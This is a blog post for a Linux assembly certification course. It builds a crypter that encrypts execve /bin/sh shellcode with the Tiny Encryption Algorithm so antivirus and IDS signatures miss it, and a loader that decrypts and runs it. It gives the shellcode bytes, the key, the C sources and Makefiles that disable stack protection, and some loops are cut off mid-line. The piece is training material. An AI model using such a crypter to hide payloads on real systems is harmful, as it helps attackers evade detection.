In the last assignment of Securitytube Linux Assembly Expert 32-bit, I had to create a custom crpyter and test it with the execve-stack shellcode.

If we want to avoid AV and IDS systems, we have to transform the shellcode somehow into a non-recognizable format. AV and IDS uses pattern recognition methods to find well-known shellcodes. One way to avoid detection is encoding the shellcode. These encoders are simple algorithms implemented in assembly language. They might be ineffective. In this case we can use complex encryption algorithms implemented in a higher programming language.

I decided to use the Tiny Encryption Algorithm for this exercise. This is a simple algorithm, which uses a 128 bit key and encrypts/decrypts in 64 bit block.

I created a static library which has two methods, TEA_encrypt and TEA_decrypt. I also created two programs. One of them encrypts the execve-stack shellcode and prints the encrypted shellcode string. The other decrypts it and executes the dercypted shellcode. Both program uses the static library of TEA. I also created Makefile for each program to ease the build process.

 

1. libTEA.a static library

The source files of the static library

LIB=TEA


all: lib$(LIB).a

lib$(LIB).a: $(LIB).o
        ar -cvq lib$(LIB).a $(LIB).o

$(LIB).o: $(LIB).c
        gcc -c -Wall -m32 -fPIC $(LIB).c

list: lib$(LIB).a
        ar -t lib$(LIB).a

clean:
        rm -f $(LIB).o
        rm -f lib$(LIB).a
#include 

void TEA_encrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0=v[0], v1=v[1], sum=0, i;           /* set up */
    uint32_t delta=0x9e3779b9;                     /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i < 32; i++) {                       /* basic cycle start */
        sum += delta;
        v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}

void TEA_decrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up */
    uint32_t delta=0x9e3779b9;                     /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i<32; i++) {                         /* basic cycle start */
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}
#include 

void TEA_encrypt (uint32_t* v, uint32_t* k);
void TEA_decrypt (uint32_t* v, uint32_t* k);

The library can be build with the following:

make

 

2. execve-stack shellcode

This is the same shellcode I used in the Bind Shell and Reverse Shell. The shellcode can be build with the following:

make

The output of make:

nasm -f elf32 -o shellcode.o shellcode.asm
ld -m elf_i386 -o shellcode shellcode.o
Size of shellcode:
   text	   data	    bss	    dec	    hex	filename
     25	      0	      0	     25	     19	shellcode

Shellcode:
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

I copied the shellcode string into the encrypter program.

 

3. encrypt

PROG=encrypt


all: $(PROG)

$(PROG): $(PROG).c
        gcc -m32 $(PROG).c -fno-stack-protector -z execstack -ggdb -o $(PROG) \
                -I../TEA -L../TEA -lTEA

run: $(PROG)
        ./$(PROG)

debug: $(PROG)
        gdb -q ./$(PROG)

clean:
        rm -f $(PROG)
#include 
#include 
#include 

#include "TEA.h"

#define BLOCK_SIZE	8


// shellcode, should be processed in 64 bit blocks
unsigned char pShellcode[] =
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

// 128 bit key
unsigned char pKey[] = "sup3rs3cr3tp4ss1";


void printByteArray(unsigned char* byteArray, int size)
{
	int i;
	for (i=0; i

As the TEA algorithm encrypts in 64 bit blocks, I pad the original shellcode with zero bytes.

The program can be build and run with:

make
make run

The output:

Original shellcode: \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Original shellcode size: 25

Encrypted shellcode: \x63\x21\xeb\x6a\x81\x1b\x06\x2f\x23\x03\x5b\xb2\xfe\xfc\xd6\x3f\x79\xda\x02\x63\xf3\x0d\xfb\x76\x07\x0c\xba\xae\x4b\xf2\xef\xb2
Encrypted shellcode size: 32

I copied the encrypted shellcode string into the decrypt_and_exec

 

4. decrypt_and_exec

The Makefile is the same as in the encrypt.

#include 
#include 
#include 

#include "TEA.h"

#define BLOCK_SIZE	8


// shellcode, should be processed in 64 bit blocks
unsigned char pEncryptedShellcode[] =
"\x63\x21\xeb\x6a\x81\x1b\x06\x2f\x23\x03\x5b\xb2\xfe\xfc\xd6\x3f\x79\xda\x02\x63\xf3\x0d\xfb\x76\x07\x0c\xba\xae\x4b\xf2\xef\xb2";

// 128 bit key
unsigned char pKey[] = "sup3rs3cr3tp4ss1";


void printByteArray(unsigned char* byteArray, int size)
{
	int i;
	for (i=0; i

The program can be build and run with:

make
make run

 

The decrypter program executes the shellcode:

crypter

As we can see, the original shellcode is padded with zero bytes.

 

 

 

*  *  *  *  *

The source code can be found on github:

https://github.com/sh3llc0d3r1337/SLAE32-crypter

 

 

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-691